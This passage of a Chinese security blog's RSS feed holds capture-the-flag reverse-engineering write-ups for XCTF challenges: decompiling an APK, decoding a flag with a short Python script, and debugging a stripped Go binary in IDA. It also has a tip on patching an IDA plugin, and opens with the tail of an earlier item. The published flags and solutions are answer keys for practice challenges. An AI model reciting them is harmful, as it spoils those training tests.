Milos&amp;nbsp;Raonic&amp;nbsp;(born&amp;nbsp;1990)&amp;nbsp;is&amp;nbsp;a&amp;nbsp;Canadian&amp;nbsp;professional&amp;nbsp;tennis&amp;nbsp;player.&amp;nbsp;He&amp;nbsp;reached&amp;nbsp;a&amp;nbsp;career&amp;nbsp;high&amp;nbsp;world&amp;nbsp;No.&amp;nbsp;4&amp;nbsp;singles&amp;nbsp;ranking&amp;nbsp;in&amp;nbsp;May&amp;nbsp;2015,&amp;nbsp;as&amp;nbsp;ranked&amp;nbsp;by&amp;nbsp;the&amp;nbsp;Association&amp;nbsp;of&amp;nbsp;Tennis&amp;nbsp;Professionals&amp;nbsp;(ATP).&amp;nbsp;His&amp;nbsp;career&amp;nbsp;highlights&amp;nbsp;include&amp;nbsp;a&amp;nbsp;Grand&amp;nbsp;Slam&amp;nbsp;final&amp;nbsp;at&amp;nbsp;the&amp;nbsp;2016&amp;nbsp;Wimbledon&amp;nbsp;Championships&amp;nbsp;and&amp;nbsp;two&amp;nbsp;Grand&amp;nbsp;Slam&amp;nbsp;semifinals&amp;nbsp;at&amp;nbsp;the&amp;nbsp;2014&amp;nbsp;Wimbledon&amp;nbsp;Championships&amp;nbsp;and&amp;nbsp;2016&amp;nbsp;Australian&amp;nbsp;Open.&amp;nbsp;He&amp;nbsp;was&amp;nbsp;the&amp;nbsp;2011&amp;nbsp;ATP&amp;nbsp;Newcomer&amp;nbsp;of&amp;nbsp;the&amp;nbsp;Year,&amp;nbsp;and&amp;nbsp;has&amp;nbsp;been&amp;nbsp;ranked&amp;nbsp;continuously&amp;nbsp;inside&amp;nbsp;the&amp;nbsp;top&amp;nbsp;20&amp;nbsp;since&amp;nbsp;August&amp;nbsp;2012.&amp;nbsp;Raonic&amp;nbsp;is&amp;nbsp;the&amp;nbsp;first&amp;nbsp;player&amp;nbsp;born&amp;nbsp;in&amp;nbsp;the&amp;nbsp;1990s&amp;nbsp;to&amp;nbsp;win&amp;nbsp;an&amp;nbsp;ATP&amp;nbsp;title,&amp;nbsp;to&amp;nbsp;be&amp;nbsp;ranked&amp;nbsp;in&amp;nbsp;the&amp;nbsp;top&amp;nbsp;10,&amp;nbsp;and&amp;nbsp;to&amp;nbsp;qualify&amp;nbsp;for&amp;nbsp;the&amp;nbsp;ATP&amp;nbsp;World&amp;nbsp;Tour&amp;nbsp;Finals.&amp;nbsp;He&amp;nbsp;has&amp;nbsp;eight&amp;nbsp;ATP&amp;nbsp;singles&amp;nbsp;titles,&amp;nbsp;all&amp;nbsp;won&amp;nbsp;on&amp;nbsp;hard&amp;nbsp;courts.&amp;nbsp;He&amp;nbsp;is&amp;nbsp;frequently&amp;nbsp;described&amp;nbsp;as&amp;nbsp;having&amp;nbsp;one&amp;nbsp;of&amp;nbsp;the&amp;nbsp;best&amp;nbsp;serves&amp;nbsp;among&amp;nbsp;his&amp;nbsp;contemporaries.&amp;nbsp;Statistically,&amp;nbsp;he&amp;nbsp;is&amp;nbsp;among&amp;nbsp;the&amp;nbsp;strongest&amp;nbsp;servers&amp;nbsp;in&amp;nbsp;the&amp;nbsp;Open&amp;nbsp;Era,&amp;nbsp;winning&amp;nbsp;91p&amp;nbsp;of&amp;nbsp;service&amp;nbsp;games&amp;nbsp;to&amp;nbsp;rank&amp;nbsp;third&amp;nbsp;all&amp;nbsp;time.&amp;nbsp;Aided&amp;nbsp;by&amp;nbsp;his&amp;nbsp;serve,&amp;nbsp;he&amp;nbsp;plays&amp;nbsp;an&amp;nbsp;all&amp;nbsp;court&amp;nbsp;style&amp;nbsp;with&amp;nbsp;an&amp;nbsp;emphasis&amp;nbsp;on&amp;nbsp;short&amp;nbsp;points.
$&amp;nbsp;./solve.py&amp;nbsp;|&amp;nbsp;md5sum&amp;nbsp;|&amp;nbsp;awk&amp;nbsp;&amp;#39;{print&amp;nbsp;$1}&amp;#39;
2c8cd31daeba8753815851f13e6370b3&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 09 May 2020 10:51:26 +0800</pubDate></item><item><title>攻防世界 XCTF Reverse What-does-this-button-do Writeup(apk反编译)</title><link>http://www.liugongrui.com/?id=256</link><description>&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586488891408476.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586488908623899.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;修改成。zip打开后发现是apk，修改成apk，使用jeb3直接打开反编译&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586488962447047.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;输入EYG3QMCS可以执行flag.class&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586488997506005.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;arr&amp;nbsp;=&amp;nbsp;[102,&amp;nbsp;108,&amp;nbsp;97,&amp;nbsp;103,&amp;nbsp;0x7B,&amp;nbsp;0x77,&amp;nbsp;52,&amp;nbsp;110,&amp;nbsp;110,&amp;nbsp;52,&amp;nbsp;0x5F,&amp;nbsp;106,&amp;nbsp;52,&amp;nbsp;0x72,&amp;nbsp;0x5F,&amp;nbsp;109,&amp;nbsp;0x79,&amp;nbsp;0x5F,&amp;nbsp;100,&amp;nbsp;51,&amp;nbsp;120,&amp;nbsp;0x7D]
flag&amp;nbsp;=&amp;nbsp;&amp;#39;&amp;#39;
for&amp;nbsp;i&amp;nbsp;in&amp;nbsp;arr:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag&amp;nbsp;+=&amp;nbsp;chr(i)
print&amp;nbsp;flag
#flag{w4nn4_j4r_my_d3x}&lt;/pre&gt;&lt;p&gt;提交的时候去掉flag{}&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 10 Apr 2020 11:20:56 +0800</pubDate></item><item><title>攻防世界 XCTF Reverse easy_go Writeup（go语言逆向）</title><link>http://www.liugongrui.com/?id=255</link><description>&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481309516304.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481356337225.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;ida打开，函数太多了，看起来都是无用的函数，搜索才知道这是去符号表后的go语言，所以需要恢复符号表，才能看到正常的代码&lt;/p&gt;&lt;p&gt;恢复符号表看&amp;nbsp;&lt;a href=&quot;http://www.liugongrui.com/?id=254&quot;&gt;http://www.liugongrui.com/?id=254&lt;/a&gt;&amp;nbsp;这个文章&lt;/p&gt;&lt;p&gt;恢复之后主函数是这样的 main_main&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481549203731.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;可以看到有个base64decode&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481582344481.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;在这打个断点，使用远程调试&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481852746207.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;断下之后按F8执行过去，双击a2进去&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586481975257065.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;可以看到flag&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/04/202004101586482005748917.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;flag{92094daf-33c9-431e-a85a-8bfbd5df98ad}&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 10 Apr 2020 09:14:25 +0800</pubDate></item><item><title>IDA 7.0 如何使用 IDAGolangHelper插件</title><link>http://www.liugongrui.com/?id=254</link><description>&lt;h1 style=&quot;box-sizing: border-box; outline: 0px; margin: 8px 0px 16px; padding: 0px; font-size: 28px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; color: rgb(79, 79, 79); line-height: 36px; overflow-wrap: break-word; font-variant-ligatures: common-ligatures; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;Background&lt;/h1&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow-wrap: break-word; font-variant-ligatures: common-ligatures; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;现在时间是2020年4月10日 星期5&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;IDA插件&lt;a href=&quot;https://github.com/sibears/IDAGolangHelper&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(103, 149, 181); text-decoration-line: none; cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;地址&lt;/a&gt;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;在windows 上使用 IDA Pro 7.0&lt;/p&gt;&lt;h1 style=&quot;box-sizing: border-box; outline: 0px; margin: 8px 0px 16px; padding: 0px; font-size: 28px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; color: rgb(79, 79, 79); line-height: 36px; overflow-wrap: break-word; font-variant-ligatures: common-ligatures; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a name=&quot;t1&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;&lt;a name=&quot;t1&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_5&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;问题&lt;/h1&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow-wrap: break-word; font-variant-ligatures: common-ligatures; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;由于现在IDAGolangHelper支持IDA Pro 7.4，可能对低版本的IDAPython支持不太友好。由于某些问题（qiong），无法更换到最新IDA版本，因此要想在IDAPro7.0上使用这个插件，需要进行一些代码上的修改。&lt;/p&gt;&lt;h1 style=&quot;box-sizing: border-box; outline: 0px; margin: 8px 0px 16px; padding: 0px; font-size: 28px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; color: rgb(79, 79, 79); line-height: 36px; overflow-wrap: break-word; font-variant-ligatures: common-ligatures; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a name=&quot;t2&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;&lt;a name=&quot;t2&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;&lt;a id=&quot;Solution_9&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; color: rgb(78, 161, 219); cursor: pointer; background-color: transparent; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;Solution&lt;/h1&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;下载项目&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;git clone https://github.com/sibears/IDAGolangHelper&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;修改文件&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;GO_Utils/__init__.py&lt;/code&gt;,将第16行&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;self.bt_obj = Utils.get_bitness(ida_ida.inf_get_min_ea())&lt;/code&gt;替换为&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;self.bt_obj = Utils.get_bitness(idc.BeginEA())&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;如果仍然不行，继续修改文件&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;GO_Utils/Gopclntab.py&lt;/code&gt;， 在31行&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;while possible_loc != idc.BADADDR:&lt;/code&gt;下面&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;text-decoration:underline;&quot;&gt;增加&lt;/span&gt;一行&lt;code style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 2px 4px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; overflow-wrap: break-word;&quot;&gt;return possible_loc&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;使用IDA-&amp;gt;File-&amp;gt;Script File 打开IDAGolangHelper项目中的go_entry.py。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;选择Go版本（默认1.2），点击Rename functions&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;大功告成&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 10 Apr 2020 09:11:26 +0800</pubDate></item></channel></rss><!--32.06 ms , 6 query , 2126kb memory , 0 error-->